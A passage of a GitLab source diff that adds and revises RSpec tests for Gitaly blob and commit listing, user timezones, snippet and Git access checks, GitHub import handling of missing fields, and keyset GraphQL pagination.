+ let(:revisions) { ["^#{commit_oid}~", commit_oid] }
+ let(:expected_blobs) { 1 }
+
+ it_behaves_like 'a blob enumeration'
+ end
+
+ context 'pseudo revisions' do
+ let(:revisions) { ['master', '--not', '--all'] }
+ let(:expected_blobs) { 0 }
+
+ it_behaves_like 'a blob enumeration'
+ end
+
+ context 'blank revisions' do
+ let(:revisions) { [::Gitlab::Git::BLANK_SHA] }
+ let(:expected_blobs) { 0 }
+
+ before do
+ expect_any_instance_of(Gitlab::GitalyClient::BlobService)
+ .not_to receive(:list_blobs)
+ end
+
+ it_behaves_like 'a blob enumeration'
+ end
+
+ context 'partially blank revisions' do
+ let(:revisions) { [::Gitlab::Git::BLANK_SHA, commit_oid] }
+ let(:expected_blobs) { 53 }
+
+ before do
+ expect_next_instance_of(Gitlab::GitalyClient::BlobService) do |service|
+ expect(service)
+ .to receive(:list_blobs)
+ .with([commit_oid], kind_of(Hash))
+ .and_call_original
+ end
+ end
+
+ it_behaves_like 'a blob enumeration'
+ end
+ end
+
+ describe '#new_commits' do
+ let(:repository) { mutable_repository }
+ let(:new_commit) do
+ author = { name: 'Test User', email: 'mail@example.com', time: Time.now }
+
+ Rugged::Commit.create(repository_rugged,
+ author: author,
+ committer: author,
+ message: "Message",
+ parents: [],
+ tree: "4b825dc642cb6eb9a060e54bf8d69288fbee4904")
+ end
+
+ let(:expected_commits) { 1 }
+ let(:revisions) { [new_commit] }
+
+ shared_examples 'an enumeration of new commits' do
+ it 'enumerates commits' do
+ commits = repository.new_commits(revisions).to_a
+
+ expect(commits.size).to eq(expected_commits)
+ commits.each do |commit|
+ expect(commit.id).to eq(new_commit)
+ expect(commit.message).to eq("Message")
+ end
+ end
+ end
+
+ context 'with list_commits disabled' do
+ before do
+ stub_feature_flags(list_commits: false)
+
+ expect_next_instance_of(Gitlab::GitalyClient::RefService) do |service|
+ expect(service)
+ .to receive(:list_new_commits)
+ .with(new_commit)
+ .and_call_original
+ end
+ end
+
+ it_behaves_like 'an enumeration of new commits'
+ end
+
+ context 'with list_commits enabled' do
+ before do
+ expect_next_instance_of(Gitlab::GitalyClient::CommitService) do |service|
+ expect(service)
+ .to receive(:list_commits)
+ .with([new_commit, '--not', '--all'])
+ .and_call_original
+ end
+ end
+
+ it_behaves_like 'an enumeration of new commits'
+ end
+ end
+
describe '#count_commits_between' do
subject { repository.count_commits_between('feature', 'master') }
diff --git a/spec/lib/gitlab/git/user_spec.rb b/spec/lib/gitlab/git/user_spec.rb
index 4414195ebf4..dfa68a7496c 100644
--- a/spec/lib/gitlab/git/user_spec.rb
+++ b/spec/lib/gitlab/git/user_spec.rb
@@ -7,15 +7,16 @@ RSpec.describe Gitlab::Git::User do
let(:name) { 'Jane Doé' }
let(:email) { 'janedoé@example.com' }
let(:gl_id) { 'user-123' }
+ let(:timezone) { 'Asia/Shanghai' }
let(:user) do
- described_class.new(username, name, email, gl_id)
+ described_class.new(username, name, email, gl_id, timezone)
end
- subject { described_class.new(username, name, email, gl_id) }
+ subject { described_class.new(username, name, email, gl_id, timezone) }
describe '.from_gitaly' do
let(:gitaly_user) do
- Gitaly::User.new(gl_username: username, name: name.b, email: email.b, gl_id: gl_id)
+ Gitaly::User.new(gl_username: username, name: name.b, email: email.b, gl_id: gl_id, timezone: timezone)
end
subject { described_class.from_gitaly(gitaly_user) }
@@ -25,34 +26,45 @@ RSpec.describe Gitlab::Git::User do
describe '.from_gitlab' do
context 'when no commit_email has been set' do
- let(:user) { build(:user, email: 'alice@example.com', commit_email: nil) }
+ let(:user) { build(:user, email: 'alice@example.com', commit_email: nil, timezone: timezone) }
subject { described_class.from_gitlab(user) }
- it { expect(subject).to eq(described_class.new(user.username, user.name, user.email, 'user-')) }
+ it { expect(subject).to eq(described_class.new(user.username, user.name, user.email, 'user-', timezone)) }
end
context 'when commit_email has been set' do
- let(:user) { build(:user, email: 'alice@example.com', commit_email: 'bob@example.com') }
+ let(:user) { build(:user, email: 'alice@example.com', commit_email: 'bob@example.com', timezone: timezone) }
subject { described_class.from_gitlab(user) }
- it { expect(subject).to eq(described_class.new(user.username, user.name, user.commit_email, 'user-')) }
+ it { expect(subject).to eq(described_class.new(user.username, user.name, user.commit_email, 'user-', timezone)) }
end
end
describe '#==' do
- def eq_other(username, name, email, gl_id)
- eq(described_class.new(username, name, email, gl_id))
+ def eq_other(username, name, email, gl_id, timezone)
+ eq(described_class.new(username, name, email, gl_id, timezone))
end
- it { expect(subject).to eq_other(username, name, email, gl_id) }
+ it { expect(subject).to eq_other(username, name, email, gl_id, timezone) }
- it { expect(subject).not_to eq_other(nil, nil, nil, nil) }
- it { expect(subject).not_to eq_other(username + 'x', name, email, gl_id) }
- it { expect(subject).not_to eq_other(username, name + 'x', email, gl_id) }
- it { expect(subject).not_to eq_other(username, name, email + 'x', gl_id) }
- it { expect(subject).not_to eq_other(username, name, email, gl_id + 'x') }
+ it { expect(subject).not_to eq_other(nil, nil, nil, nil, timezone) }
+ it { expect(subject).not_to eq_other(username + 'x', name, email, gl_id, timezone) }
+ it { expect(subject).not_to eq_other(username, name + 'x', email, gl_id, timezone) }
+ it { expect(subject).not_to eq_other(username, name, email + 'x', gl_id, timezone) }
+ it { expect(subject).not_to eq_other(username, name, email, gl_id + 'x', timezone) }
+ it { expect(subject).not_to eq_other(username, name, email, gl_id, 'Etc/UTC') }
+
+ context 'when add_timezone_to_web_operations is disabled' do
+ before do
+ stub_feature_flags(add_timezone_to_web_operations: false)
+ end
+
+ it 'ignores timezone arg and sets Etc/UTC by default' do
+ expect(user.timezone).to eq('Etc/UTC')
+ end
+ end
end
describe '#to_gitaly' do
@@ -69,6 +81,7 @@ RSpec.describe Gitlab::Git::User do
expect(subject.email).to be_a_binary_string
expect(subject.gl_id).to eq(gl_id)
+ expect(subject.timezone).to eq(timezone)
end
end
end
diff --git a/spec/lib/gitlab/git_access_snippet_spec.rb b/spec/lib/gitlab/git_access_snippet_spec.rb
index 777c94035d4..3b85e3ddd1d 100644
--- a/spec/lib/gitlab/git_access_snippet_spec.rb
+++ b/spec/lib/gitlab/git_access_snippet_spec.rb
@@ -140,8 +140,6 @@ RSpec.describe Gitlab::GitAccessSnippet do
end
context 'when project is public but snippet feature is private' do
- let(:project) { create(:project, :public) }
-
before do
update_feature_access_level(project, :private)
end
@@ -151,7 +149,7 @@ RSpec.describe Gitlab::GitAccessSnippet do
end
context 'when project is not accessible' do
- let(:project) { create(:project, :private) }
+ let_it_be(:project) { create(:project, :private) }
[:anonymous, :non_member].each do |membership|
context membership.to_s do
@@ -168,7 +166,7 @@ RSpec.describe Gitlab::GitAccessSnippet do
end
context 'when project is archived' do
- let(:project) { create(:project, :public, :archived) }
+ let_it_be(:project) { create(:project, :public, :archived) }
[:anonymous, :non_member].each do |membership|
context membership.to_s do
@@ -214,7 +212,7 @@ RSpec.describe Gitlab::GitAccessSnippet do
end
context 'when snippet feature is disabled' do
- let(:project) { create(:project, :public, :snippets_disabled) }
+ let_it_be(:project) { create(:project, :public, :snippets_disabled) }
[:anonymous, :non_member, :author, :admin].each do |membership|
context membership.to_s do
@@ -306,9 +304,9 @@ RSpec.describe Gitlab::GitAccessSnippet do
end
describe 'repository size restrictions' do
- let(:snippet) { create(:personal_snippet, :public, :repository) }
- let(:actor) { snippet.author }
+ let_it_be(:snippet) { create(:personal_snippet, :public, :repository) }
+ let(:actor) { snippet.author }
let(:oldrev) { TestEnv::BRANCH_SHA["snippet/single-file"] }
let(:newrev) { TestEnv::BRANCH_SHA["snippet/edit-file"] }
let(:ref) { "refs/heads/snippet/edit-file" }
@@ -384,11 +382,12 @@ RSpec.describe Gitlab::GitAccessSnippet do
it_behaves_like 'a push to repository to make it over the limit'
end
- context 'when GIT_OBJECT_DIRECTORY_RELATIVE env var is not set' do
+ shared_examples_for 'a change with GIT_OBJECT_DIRECTORY_RELATIVE env var unset' do
let(:change_size) { 200 }
before do
- allow(snippet.repository).to receive(:new_blobs).and_return(
+ stub_feature_flags(git_access_batched_changes_size: batched)
+ allow(snippet.repository).to receive(expected_call).and_return(
[double(:blob, size: change_size)]
)
end
@@ -397,6 +396,20 @@ RSpec.describe Gitlab::GitAccessSnippet do
it_behaves_like 'a push to repository below the limit'
it_behaves_like 'a push to repository to make it over the limit'
end
+
+ context 'when batched computation is enabled' do
+ let(:batched) { true }
+ let(:expected_call) { :blobs }
+
+ it_behaves_like 'a change with GIT_OBJECT_DIRECTORY_RELATIVE env var unset'
+ end
+
+ context 'when batched computation is disabled' do
+ let(:batched) { false }
+ let(:expected_call) { :new_blobs }
+
+ it_behaves_like 'a change with GIT_OBJECT_DIRECTORY_RELATIVE env var unset'
+ end
end
describe 'HEAD realignment' do
diff --git a/spec/lib/gitlab/git_access_spec.rb b/spec/lib/gitlab/git_access_spec.rb
index 3ee0310a9a2..bf682e4e4c6 100644
--- a/spec/lib/gitlab/git_access_spec.rb
+++ b/spec/lib/gitlab/git_access_spec.rb
@@ -265,7 +265,7 @@ RSpec.describe Gitlab::GitAccess do
it 'enqueues a redirected message for pushing' do
push_access_check
- expect(Gitlab::Checks::ProjectMoved.fetch_message(user.id, project.id)).not_to be_nil
+ expect(Gitlab::Checks::ContainerMoved.fetch_message(user, project.repository)).not_to be_nil
end
it 'allows push and pull access' do
@@ -435,7 +435,7 @@ RSpec.describe Gitlab::GitAccess do
it 'disallows users with expired password to pull' do
project.add_maintainer(user)
- user.update!(password_expires_at: 2.minutes.ago)
+ user.update!(password_expires_at: 2.minutes.ago, password_automatically_set: true)
expect { pull_access_check }.to raise_forbidden("Your password expired. Please access GitLab from a web browser to update your password.")
end
@@ -987,7 +987,7 @@ RSpec.describe Gitlab::GitAccess do
end
it 'disallows users with expired password to push' do
- user.update!(password_expires_at: 2.minutes.ago)
+ user.update!(password_expires_at: 2.minutes.ago, password_automatically_set: true)
expect { push_access_check }.to raise_forbidden("Your password expired. Please access GitLab from a web browser to update your password.")
end
diff --git a/spec/lib/gitlab/gitaly_client/blob_service_spec.rb b/spec/lib/gitlab/gitaly_client/blob_service_spec.rb
index f0ec58f3c2d..50078d8c127 100644
--- a/spec/lib/gitlab/gitaly_client/blob_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/blob_service_spec.rb
@@ -88,4 +88,104 @@ RSpec.describe Gitlab::GitalyClient::BlobService do
subject
end
end
+
+ describe '#list_blobs' do
+ let(:limit) { 0 }
+ let(:bytes_limit) { 0 }
+ let(:expected_params) { { revisions: revisions, limit: limit, bytes_limit: bytes_limit } }
+
+ before do
+ ::Gitlab::GitalyClient.clear_stubs!
+ end
+
+ subject { client.list_blobs(revisions, limit: limit, bytes_limit: bytes_limit) }
+
+ context 'with a single revision' do
+ let(:revisions) { ['master'] }
+
+ it 'sends a list_blobs message' do
+ expect_next_instance_of(Gitaly::BlobService::Stub) do |service|
+ expect(service)
+ .to receive(:list_blobs)
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return([])
+ end
+
+ subject
+ end
+ end
+
+ context 'with multiple revisions' do
+ let(:revisions) { ['master', '--not', '--all'] }
+
+ it 'sends a list_blobs message' do
+ expect_next_instance_of(Gitaly::BlobService::Stub) do |service|
+ expect(service)
+ .to receive(:list_blobs)
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return([])
+ end
+
+ subject
+ end
+ end
+
+ context 'with multiple revisions and limits' do
+ let(:revisions) { ['master', '--not', '--all'] }
+ let(:limit) { 10 }
+ let(:bytes_lmit) { 1024 }
+
+ it 'sends a list_blobs message' do
+ expect_next_instance_of(Gitaly::BlobService::Stub) do |service|
+ expect(service)
+ .to receive(:list_blobs)
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return([])
+ end
+
+ subject
+ end
+ end
+
+ context 'with split contents' do
+ let(:revisions) { ['master'] }
+
+ it 'sends a list_blobs message', :aggregate_failures do
+ expect_next_instance_of(Gitaly::BlobService::Stub) do |service|
+ expect(service)
+ .to receive(:list_blobs)
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return([
+ Gitaly::ListBlobsResponse.new(blobs: [
+ Gitaly::ListBlobsResponse::Blob.new(oid: "012345", size: 8, data: "0x01"),
+ Gitaly::ListBlobsResponse::Blob.new(data: "23")
+ ]),
+ Gitaly::ListBlobsResponse.new(blobs: [
+ Gitaly::ListBlobsResponse::Blob.new(data: "45"),
+ Gitaly::ListBlobsResponse::Blob.new(oid: "56", size: 4, data: "0x5"),
+ Gitaly::ListBlobsResponse::Blob.new(data: "6")
+ ]),
+ Gitaly::ListBlobsResponse.new(blobs: [
+ Gitaly::ListBlobsResponse::Blob.new(oid: "78", size: 4, data: "0x78")
+ ])
+ ])
+ end
+
+ blobs = subject.to_a
+ expect(blobs.size).to be(3)
+
+ expect(blobs[0].id).to eq('012345')
+ expect(blobs[0].size).to eq(8)
+ expect(blobs[0].data).to eq('0x012345')
+
+ expect(blobs[1].id).to eq('56')
+ expect(blobs[1].size).to eq(4)
+ expect(blobs[1].data).to eq('0x56')
+
+ expect(blobs[2].id).to eq('78')
+ expect(blobs[2].size).to eq(4)
+ expect(blobs[2].data).to eq('0x78')
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/gitaly_client/commit_service_spec.rb b/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
index ac4c42d57ee..22c29403255 100644
--- a/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/commit_service_spec.rb
@@ -287,6 +287,39 @@ RSpec.describe Gitlab::GitalyClient::CommitService do
end
end
+ describe '#list_commits' do
+ shared_examples 'a ListCommits request' do
+ before do
+ ::Gitlab::GitalyClient.clear_stubs!
+ end
+
+ it 'sends a list_commits message' do
+ expect_next_instance_of(Gitaly::CommitService::Stub) do |service|
+ expect(service)
+ .to receive(:list_commits)
+ .with(gitaly_request_with_params(expected_params), kind_of(Hash))
+ .and_return([])
+ end
+
+ client.list_commits(revisions)
+ end
+ end
+
+ context 'with a single revision' do
+ let(:revisions) { 'master' }
+ let(:expected_params) { %w[master] }
+
+ it_behaves_like 'a ListCommits request'
+ end
+
+ context 'with multiple revisions' do
+ let(:revisions) { %w[master --not --all] }
+ let(:expected_params) { %w[master --not --all] }
+
+ it_behaves_like 'a ListCommits request'
+ end
+ end
+
describe '#commit_stats' do
let(:request) do
Gitaly::CommitStatsRequest.new(
diff --git a/spec/lib/gitlab/gitaly_client/operation_service_spec.rb b/spec/lib/gitlab/gitaly_client/operation_service_spec.rb
index 9a17140a1e0..3789bc76a94 100644
--- a/spec/lib/gitlab/gitaly_client/operation_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/operation_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::GitalyClient::OperationService do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository.raw }
let(:client) { described_class.new(repository) }
let(:gitaly_user) { Gitlab::Git::User.from_gitlab(user).to_gitaly }
diff --git a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
index 56c8fe20eca..53805d67f9f 100644
--- a/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
+++ b/spec/lib/gitlab/gitaly_client/repository_service_spec.rb
@@ -209,19 +209,6 @@ RSpec.describe Gitlab::GitalyClient::RepositoryService do
end
end
- describe '#rebase_in_progress?' do
- let(:rebase_id) { 1 }
-
- it 'sends a repository_rebase_in_progress message' do
- expect_any_instance_of(Gitaly::RepositoryService::Stub)
- .to receive(:is_rebase_in_progress)
- .with(gitaly_request_with_path(storage_name, relative_path), kind_of(Hash))
- .and_return(double(in_progress: true))
-
- client.rebase_in_progress?(rebase_id)
- end
- end
-
describe '#squash_in_progress?' do
let(:squash_id) { 1 }
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
index 01d9edf0ba1..016f6e5377b 100644
--- a/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_request_merged_by_importer_spec.rb
@@ -8,13 +8,14 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestMergedByImporter, :cle
let(:project) { merge_request.project }
let(:merged_at) { Time.new(2017, 1, 1, 12, 00).utc }
let(:client_double) { double(user: double(id: 999, login: 'merger', email: 'merger@email.com')) }
+ let(:merger_user) { double(id: 999, login: 'merger') }
let(:pull_request) do
instance_double(
Gitlab::GithubImport::Representation::PullRequest,
iid: merge_request.iid,
merged_at: merged_at,
- merged_by: double(id: 999, login: 'merger')
+ merged_by: merger_user
)
end
@@ -48,4 +49,23 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestMergedByImporter, :cle
expect(last_note.author).to eq(project.creator)
end
end
+
+ context 'when the merger user is not provided' do
+ let(:merger_user) { nil }
+
+ it 'adds a note referencing the merger user' do
+ expect { subject.execute }
+ .to change(Note, :count).by(1)
+ .and not_change(merge_request, :updated_at)
+
+ metrics = merge_request.metrics.reload
+ expect(metrics.merged_by).to be_nil
+ expect(metrics.merged_at).to eq(merged_at)
+
+ last_note = merge_request.notes.last
+ expect(last_note.note).to eq("*Merged by: ghost at 2017-01-01 12:00:00 UTC*")
+ expect(last_note.created_at).to eq(merged_at)
+ expect(last_note.author).to eq(project.creator)
+ end
+ end
end
diff --git a/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb b/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
index fa8b5e6ccf0..a6da40f47f1 100644
--- a/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
+++ b/spec/lib/gitlab/github_import/importer/pull_request_review_importer_spec.rb
@@ -167,6 +167,19 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestReviewImporter, :clean
end
end
+ context 'when the submitted_at is not provided' do
+ let(:review) { create_review(type: 'APPROVED', note: '', submitted_at: nil) }
+
+ it 'creates a note for the review without the author information' do
+ expect { subject.execute }.to change(Note, :count).by(1)
+
+ last_note = merge_request.notes.last
+
+ expect(last_note.created_at)
+ .to be_within(1.second).of(merge_request.updated_at)
+ end
+ end
+
context 'when the review has a note text' do
context 'when the review is "APPROVED"' do
let(:review) { create_review(type: 'APPROVED') }
@@ -215,13 +228,15 @@ RSpec.describe Gitlab::GithubImport::Importer::PullRequestReviewImporter, :clean
end
end
- def create_review(type:, note: 'note', author: { id: 999, login: 'author' })
+ def create_review(type:, **extra)
Gitlab::GithubImport::Representation::PullRequestReview.from_json_hash(
- merge_request_id: merge_request.id,
- review_type: type,
- note: note,
- submitted_at: submitted_at.to_s,
- author: author
+ extra.reverse_merge(
+ author: { id: 999, login: 'author' },
+ merge_request_id: merge_request.id,
+ review_type: type,
+ note: 'note',
+ submitted_at: submitted_at.to_s
+ )
)
end
end
diff --git a/spec/lib/gitlab/github_import/markdown_text_spec.rb b/spec/lib/gitlab/github_import/markdown_text_spec.rb
index 22bf10f36d8..2d159580b5f 100644
--- a/spec/lib/gitlab/github_import/markdown_text_spec.rb
+++ b/spec/lib/gitlab/github_import/markdown_text_spec.rb
@@ -27,6 +27,13 @@ RSpec.describe Gitlab::GithubImport::MarkdownText do
expect(text.to_s).to eq('Hello')
end
+ it 'returns empty text when it receives nil' do
+ author = double(:author, login: nil)
+ text = described_class.new(nil, author, true)
+
+ expect(text.to_s).to eq('')
+ end
+
it 'returns the text with an extra header when the author was not found' do
author = double(:author, login: 'Alice')
text = described_class.new('Hello', author)
diff --git a/spec/lib/gitlab/github_import/object_counter_spec.rb b/spec/lib/gitlab/github_import/object_counter_spec.rb
new file mode 100644
index 00000000000..668c11667b5
--- /dev/null
+++ b/spec/lib/gitlab/github_import/object_counter_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::GithubImport::ObjectCounter, :clean_gitlab_redis_cache do
+ let_it_be(:project) { create(:project) }
+
+ it 'validates the operation being incremented' do
+ expect { described_class.increment(project, :issue, :unknown) }
+ .to raise_error(ArgumentError, 'Operation must be fetched or imported')
+ end
+
+ it 'increments the counter and saves the key to be listed in the summary later' do
+ expect(Gitlab::Metrics)
+ .to receive(:counter)
+ .twice
+ .with(:github_importer_fetched_issue, 'The number of fetched Github Issue')
+ .and_return(double(increment: true))
+
+ expect(Gitlab::Metrics)
+ .to receive(:counter)
+ .twice
+ .with(:github_importer_imported_issue, 'The number of imported Github Issue')
+ .and_return(double(increment: true))
+
+ described_class.increment(project, :issue, :fetched)
+ described_class.increment(project, :issue, :fetched)
+ described_class.increment(project, :issue, :imported)
+ described_class.increment(project, :issue, :imported)
+
+ expect(described_class.summary(project)).to eq({
+ 'fetched' => { 'issue' => 2 },
+ 'imported' => { 'issue' => 2 }
+ })
+ end
+end
diff --git a/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb b/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb
index 1e31cd2f007..d56d4708385 100644
--- a/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb
+++ b/spec/lib/gitlab/github_import/parallel_scheduling_spec.rb
@@ -11,6 +11,10 @@ RSpec.describe Gitlab::GithubImport::ParallelScheduling do
Class
end
+ def object_type
+ :dummy
+ end
+
def collection_method
:issues
end
diff --git a/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb b/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb
index f9763455468..cad9b13774e 100644
--- a/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb
+++ b/spec/lib/gitlab/github_import/representation/pull_request_review_spec.rb
@@ -68,5 +68,11 @@ RSpec.describe Gitlab::GithubImport::Representation::PullRequestReview do
expect(review.author).to be_nil
end
+
+ it 'does not fail when submitted_at is blank' do
+ review = described_class.from_json_hash(hash.except('submitted_at'))
+
+ expect(review.submitted_at).to be_nil
+ end
end
end
diff --git a/spec/lib/gitlab/github_import_spec.rb b/spec/lib/gitlab/github_import_spec.rb
index 3129da64809..662757f66ad 100644
--- a/spec/lib/gitlab/github_import_spec.rb
+++ b/spec/lib/gitlab/github_import_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::GithubImport do
context 'github.com' do
- let(:project) { double(:project, import_url: 'http://t0ken@github.com/user/repo.git') }
+ let(:project) { double(:project, import_url: 'http://t0ken@github.com/user/repo.git', id: 1) }
it 'returns a new Client with a custom token' do
expect(described_class::Client)
diff --git a/spec/lib/gitlab/gl_repository/repo_type_spec.rb b/spec/lib/gitlab/gl_repository/repo_type_spec.rb
index 629e6c96858..71a4c693f9d 100644
--- a/spec/lib/gitlab/gl_repository/repo_type_spec.rb
+++ b/spec/lib/gitlab/gl_repository/repo_type_spec.rb
@@ -5,6 +5,7 @@ RSpec.describe Gitlab::GlRepository::RepoType do
let_it_be(:project) { create(:project) }
let_it_be(:personal_snippet) { create(:personal_snippet, author: project.owner) }
let_it_be(:project_snippet) { create(:project_snippet, project: project, author: project.owner) }
+
let(:project_path) { project.repository.full_path }
let(:wiki_path) { project.wiki.repository.full_path }
let(:design_path) { project.design_repository.full_path }
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb
new file mode 100644
index 00000000000..0047d24a215
--- /dev/null
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_generic_keyset_spec.rb
@@ -0,0 +1,420 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/334973
+ # The spec will be merged with connection_spec.rb in the future.
+ let(:nodes) { Project.all.order(id: :asc) }
+ let(:arguments) { {} }
+ let(:query_type) { GraphQL::ObjectType.new }
+ let(:schema) { GraphQL::Schema.define(query: query_type, mutation: nil)}
+ let(:context) { GraphQL::Query::Context.new(query: OpenStruct.new(schema: schema), values: nil, object: nil) }
+
+ let_it_be(:column_order_id) { Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(attribute_name: 'id', order_expression: Project.arel_table[:id].asc) }
+ let_it_be(:column_order_id_desc) { Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(attribute_name: 'id', order_expression: Project.arel_table[:id].desc) }
+ let_it_be(:column_order_updated_at) { Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(attribute_name: 'updated_at', order_expression: Project.arel_table[:updated_at].asc) }
+ let_it_be(:column_order_created_at) { Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(attribute_name: 'created_at', order_expression: Project.arel_table[:created_at].asc) }
+ let_it_be(:column_order_last_repo) do
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'last_repository_check_at',
+ column_expression: Project.arel_table[:last_repository_check_at],
+ order_expression: Gitlab::Database.nulls_last_order('last_repository_check_at', :asc),
+ reversed_order_expression: Gitlab::Database.nulls_last_order('last_repository_check_at', :desc),
+ order_direction: :asc,
+ nullable: :nulls_last,
+ distinct: false)
+ end
+
+ let_it_be(:column_order_last_repo_desc) do
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'last_repository_check_at',
+ column_expression: Project.arel_table[:last_repository_check_at],
+ order_expression: Gitlab::Database.nulls_last_order('last_repository_check_at', :desc),
+ reversed_order_expression: Gitlab::Database.nulls_last_order('last_repository_check_at', :asc),
+ order_direction: :desc,
+ nullable: :nulls_last,
+ distinct: false)
+ end
+
+ subject(:connection) do
+ described_class.new(nodes, **{ context: context, max_page_size: 3 }.merge(arguments))
+ end
+
+ def encoded_cursor(node)
+ described_class.new(nodes, context: context).cursor_for(node)
+ end
+
+ def decoded_cursor(cursor)
+ Gitlab::Json.parse(Base64Bp.urlsafe_decode64(cursor))
+ end
+
+ describe "With generic keyset order support" do
+ let(:nodes) { Project.all.order(Gitlab::Pagination::Keyset::Order.build([column_order_id])) }
+
+ it_behaves_like 'a connection with collection methods'
+
+ it_behaves_like 'a redactable connection' do
+ let_it_be(:projects) { create_list(:project, 2) }
+ let(:unwanted) { projects.second }
+ end
+
+ describe '#cursor_for' do
+ let(:project) { create(:project) }
+ let(:cursor) { connection.cursor_for(project) }
+
+ it 'returns an encoded ID' do
+ expect(decoded_cursor(cursor)).to eq('id' => project.id.to_s)
+ end
+
+ context 'when an order is specified' do
+ let(:nodes) { Project.all.order(Gitlab::Pagination::Keyset::Order.build([column_order_id])) }
+
+ it 'returns the encoded value of the order' do
+ expect(decoded_cursor(cursor)).to include('id' => project.id.to_s)
+ end
+ end
+
+ context 'when multiple orders are specified' do
+ let(:nodes) { Project.all.order(Gitlab::Pagination::Keyset::Order.build([column_order_updated_at, column_order_created_at, column_order_id])) }
+
+ it 'returns the encoded value of the order' do
+ expect(decoded_cursor(cursor)).to include('updated_at' => project.updated_at.strftime('%Y-%m-%d %H:%M:%S.%N %Z'))
+ end
+ end
+ end
+
+ describe '#sliced_nodes' do
+ let(:projects) { create_list(:project, 4) }
+
+ context 'when before is passed' do
+ let(:arguments) { { before: encoded_cursor(projects[1]) } }
+
+ it 'only returns the project before the selected one' do
+ expect(subject.sliced_nodes).to contain_exactly(projects.first)
+ end
+
+ context 'when the sort order is descending' do
+ let(:nodes) { Project.all.order(Gitlab::Pagination::Keyset::Order.build([column_order_id_desc])) }
+
+ it 'returns the correct nodes' do
+ expect(subject.sliced_nodes).to contain_exactly(*projects[2..-1])
+ end
+ end
+ end
+
+ context 'when after is passed' do
+ let(:arguments) { { after: encoded_cursor(projects[1]) } }
+
+ it 'only returns the project before the selected one' do
+ expect(subject.sliced_nodes).to contain_exactly(*projects[2..-1])
+ end
+
+ context 'when the sort order is descending' do
+ let(:nodes) { Project.all.order(Gitlab::Pagination::Keyset::Order.build([column_order_id_desc])) }
+
+ it 'returns the correct nodes' do
+ expect(subject.sliced_nodes).to contain_exactly(projects.first)
+ end
+ end
+ end
+
+ context 'when both before and after are passed' do
+ let(:arguments) do
+ {
+ after: encoded_cursor(projects[1]),
+ before: encoded_cursor(projects[3])
+ }
+ end
+
+ it 'returns the expected set' do
+ expect(subject.sliced_nodes).to contain_exactly(projects[2])
+ end
+ end
+
+ shared_examples 'nodes are in ascending order' do
+ context 'when no cursor is passed' do
+ let(:arguments) { {} }
+
+ it 'returns projects in ascending order' do
+ expect(subject.sliced_nodes).to eq(ascending_nodes)
+ end
+ end
+
+ context 'when before cursor value is not NULL' do
+ let(:arguments) { { before: encoded_cursor(ascending_nodes[2]) } }
+
+ it 'returns all projects before the cursor' do
+ expect(subject.sliced_nodes).to eq(ascending_nodes.first(2))
+ end
+ end
+
+ context 'when after cursor value is not NULL' do
+ let(:arguments) { { after: encoded_cursor(ascending_nodes[1]) } }
+
+ it 'returns all projects after the cursor' do
+ expect(subject.sliced_nodes).to eq(ascending_nodes.last(3))
+ end
+ end
+
+ context 'when before and after cursor' do
+ let(:arguments) { { before: encoded_cursor(ascending_nodes.last), after: encoded_cursor(ascending_nodes.first) } }
+
+ it 'returns all projects after the cursor' do
+ expect(subject.sliced_nodes).to eq(ascending_nodes[1..3])
+ end
+ end
+ end
+
+ shared_examples 'nodes are in descending order' do
+ context 'when no cursor is passed' do
+ let(:arguments) { {} }
+
+ it 'only returns projects in descending order' do
+ expect(subject.sliced_nodes).to eq(descending_nodes)
+ end
+ end
+
+ context 'when before cursor value is not NULL' do
+ let(:arguments) { { before: encoded_cursor(descending_nodes[2]) } }
+
+ it 'returns all projects before the cursor' do
+ expect(subject.sliced_nodes).to eq(descending_nodes.first(2))
+ end
+ end
+
